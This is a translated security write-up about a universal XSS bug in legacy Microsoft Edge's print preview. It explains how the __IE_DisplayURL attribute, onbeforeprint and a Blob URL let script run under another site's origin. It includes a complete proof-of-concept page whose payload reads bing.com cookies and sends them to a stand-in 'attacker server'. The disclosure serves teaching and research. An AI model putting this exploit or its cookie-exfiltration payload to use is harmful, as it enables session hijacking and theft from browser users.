Microsoft Edge – Универсальный XSS

в 14:40, , рубрики: Microsoft Edge, xss, Блог компании OTUS. Онлайн-образование, реверс-инжиниринг

Перевод статьи подготовлен специально для студентов курса «Реверс-инжиниринг».

Microsoft Edge – Универсальный XSS - 1


Универсальный XSS (uXSS) – это баг браузера, который дает возможность выполнять код на JavaScript на любом сайте.

Кажется, будто XSS есть на всех сайтах и выглядит это очень интересно. Что еще интереснее, так это то, как я нашел эту ошибку. Обычно, если речь заходит о uXSS, то это скорее всего связано с элементом IFRAME или возней с URL, но я никогда не думал, что найду XSS-уязвимость, используя функцию print().

Окно предварительного просмотра

Давайте поговорим о том, что на самом деле происходит, когда Edge отображает окно предварительного просмотра печати.

Я всегда думал, что там находится просто скриншот, отрисованный технологией типа Canvas, но на самом деле страница, которую вы собираетесь печатать, копируется в temp и повторно рендерится!

Когда на странице выполняется print(), мы видим следующую активность файловой системы в Process Monitor:

Microsoft Edge – Универсальный XSS - 2

Итак, файл создается во временной директории Edge, и содержимое этого файла представляет собой слегка измененную версию исходной страницы, которую мы пытались распечатать. Давайте сравним.

Перед печатью:

<!doctype html>
<html>
<head>
	<title>Printer Button</title>
</head>
<body>
<button id="qbutt">Print!</button>
<iframe src="https://www.bing.com/?q=example"></iframe>
<script>
qbutt.onclick=e=>{
	window.print();
}
</script>
</body>
</html>

После печати:

<!DOCTYPE HTML>
<!DOCTYPE html PUBLIC "" ""><HTML __IE_DisplayURL="http://q.leucosite.com:777/printExample.html"><HEAD><META 
content="text/html; charset=utf-8" http-equiv=Content-Type>
<BASE HREF="http://q.leucosite.com:777/printExample.html">
<STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer 
Button</TITLE></HEAD><BODY><BUTTON id="qbutt">Print!</BUTTON> <IFRAME src="file://C:UsersQAppDataLocalPackagesmicrosoft.microsoftedge_8wekyb3d8bbweAC#!001Temp3P9TBP2L.htm"></IFRAME> 
<SCRIPT>
qbutt.onclick=e=>{
	window.print();
}
</SCRIPT>
</BODY></HTML>

Есть несколько вещей, которые мы можем заметить из этого сравнения.

  1. Javascript кодируется и рендерится неправильно.
  2. Теперь IFRAME указывает на другой локальный файл в той же самой директории, которая содержит исходный код оригинальной ссылки bing.com.
  3. У HTML элемента теперь есть своеобразный атрибут __IE_DisplayURL.

В отношении первого и второго пункта я провел несколько тестов. Сначала я хотел понять, могу ли я получить валидный Javascript-код после смены кодировки, в надежде, что в итоге я смогу выполнить Javascript. Оказалось, что любой код внутри элемента <script>, нормальный или нет, выполняться не будет.

Второй пункт помог мне раскрыть имя пользователя операционной системы с помощью функционала @media print{} в CSS и магии селекторов. Я смог получить его из значения IFRAME href. Однако и этого было недостаточно.

Вот на третьем пункте стало интересно, поскольку этот атрибут крайне необычный и до этого момента я с ним не встречался. Я сразу же его загуглил и нашел несколько статей, исходя из которых понял, что некто Масато Кинугава уже поиграл с ним и обнаружил крутые баги.

После чтения и некоторой практики, я обнаружил, что контекст предварительного просмотра узнает из этого атрибута откуда появляется документ. Это имеет смысл, поскольку Edge открывает файлы с помощью file: URI схемы. С помощью этого атрибута, указывающего на источник, вы заметите, что все запросы, поступающие от документа (в рамках предварительного просмотра), будут имитировать точно такое же поведение, как если бы они поступали с исходного веб-сайта.

Как мы можем использовать этот атрибут? Должен же быть какой-то способ!

Выполнение кода на Javascript с помощью предварительного просмотра

Как я уже говорил, любой код на JavaScript, находящийся в нормальном теге script будет заблокирован или просто проигнорирован. Но что есть мыслить в другом направлении? Я перепробовал все, что только мог придумать, поэтому избавлю вас от траты времени на множество неудачных попыток и перейду сразу к делу.

Здесь мы имеем дело с функцией печати, поэтому я играл с событиями, относящимися к печати. Результат мне принесло "onbeforeprint", с помощью него я получил возможность внедрять IFRAME, который указывал на любой веб-сайт и Edge не нужно было конвертировать его сначала в файл. Почти сразу я попытался внедрить IFRAME, который указывал на URL-адрес Javascript-кода и та-дам! Этот код выполнялся в контексте предварительного просмотра.

Тест Javascript-инъекции:

<!doctype html>
<html>
<head>
	<title>Printer Button</title>
</head>
<body>
<button id="qbutt">Print!</button>
<div id="qcontent"></div>
<script>
qbutt.onclick=e=>{
	window.print();
}

window.onbeforeprint=function(e){
	qcontent.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></iframe>`;
	
	}
</script>
</body>
</html>

После конвертации предварительного просмотра документа:

<!DOCTYPE HTML>
<!DOCTYPE html PUBLIC "" ""><HTML __IE_DisplayURL="http://q.leucosite.com/dl.html"><HEAD><META 
content="text/html; charset=windows-1252" http-equiv=Content-Type>
<BASE HREF="http://q.leucosite.com/dl.html">
<STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer 
Button</TITLE></HEAD><BODY><BUTTON id="qbutt">Print!</BUTTON> <DIV 
id="qcontent"><IFRAME src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></IFRAME></DIV>
<SCRIPT>
qbutt.onclick=e=>{
	window.print();
}

window.onbeforeprint=function(e){
	qcontent.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></iframe>`;
	
	}
</SCRIPT>
</BODY></HTML>

Скриншот результата:

Microsoft Edge – Универсальный XSS - 3

То, что мы умеем выполнять код еще не значит, что мы закончили. Как я уже говорил ранее, из-за атрибута __IE_DisplayURL любой запрос или вызов API будут рассматриваться, как исходящие от документа.

Реализация uXSS

Теперь, когда мы умеем внедрять свой исполняемый код, нам нужно каким-то образом создать свой собственный «предварительный просмотр документа» с нашим собственным __IE_DisplayURL, а затем мы сможем сымитировать любой веб-сайт, который выберем для uXSS.

Я обнаружил, что с помощью Blob URL я смогу добиться нужного эффекта! Поэтому я сделал свой собственный документ для печати со своим атрибутом, указывающим на целевой сайт (в моем случае bing.com). Он содержал Javascript IFRAME, который выполнялся, как будто он исходит от bing.com.

Я внедрил следующий код:

if (top.location.protocol == 'file:') {
    setTimeout(function() {
        top.location = URL.createObjectURL(new Blob([top.document.getElementById('qd').value], {
            type: 'text/html'
        }))
    }, 1000)
}

Где top.document.getElementById('qd').value — это следующий фейковый документ для печати.

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML 
__IE_DisplayURL="https://www.bing.com/"><HEAD><META content="text/html; 
charset=windows-1252" http-equiv=Content-Type>
<BASE HREF="https://www.bing.com/">
<STYLE> HTML { font-family : "Times New Roman" } </STYLE>
<STYLE>iframe {
	width: 300px; height: 300px;
}
</STYLE>
</HEAD><BODY>

<iframe id="qif" src="javascript:qa=top.document.createElement('img');qa.src='https://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie">
</BODY></HTML>

Все, что я делаю – это читаю document.cookie и отправляю их обратно серверу.
А теперь обобщим то, что делает финальная версия эксплойта:

  1. Используя событие onbeforeprint, я внедряю IFRAME, который указывает на мою полезную нагрузку непосредственно перед печатью.
  2. Для инициализации я вызываю window.print().
  3. Затем Edge отображает окно предварительного просмотра во время рендеринга моего внедренного кода;
  4. Внедренный Javascript-код создал Blob URL-адрес, который содержит мой собственный документ для печати bing.com и перенаправляет верхний фрейм на этот адрес.
  5. Контекст предварительного просмотра печати думает, что содержимое моего Blob URL-адреса – настоящий документ для печати и устанавливает происхождение документа как bing.com с помощью атрибута __IE_DisplayURL.
  6. Фейковый документ для печати сам по себе содержит другой IFRAME, который просто отображает document.cookie источника bing.com.
  7. uXSS работает!

Итоговый код и видео

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<head>
<style>iframe{width:300px;height:300px;}</style>

</head>
<body>
<!-- -----------------------------HTML for our blob------------------------------------ -->
<textarea id="qd">
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML 
__IE_DisplayURL="https://www.bing.com/"><HEAD><META content="text/html; 
charset=windows-1252" http-equiv=Content-Type>
<BASE HREF="https://www.bing.com/">
<STYLE> HTML { font-family : "Times New Roman" } </STYLE>
<STYLE>iframe {
	width: 300px; height: 300px;
}
</STYLE>
</HEAD><BODY>

<iframe id="qif" src="javascript:qa=top.document.createElement('img');qa.src='https://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie">
</BODY></HTML>
</textarea>
<!-- ---------------------------------------------------------------------------- -->
<script>


var qdiv=document.createElement('div');
document.body.appendChild(qdiv);
window.onbeforeprint=function(e){
	qdiv.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){setTimeout(function(){top.location=URL.createObjectURL(new Blob([top.document.getElementById('qd').value],{type:'text/html'}))},1000)}"></iframe>`;
	
	}

window.print();
</script>

<style>


</style>


</body>

</html>

Полезные ссылки:

Microsoft.com

Автор: MaxRokatansky

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js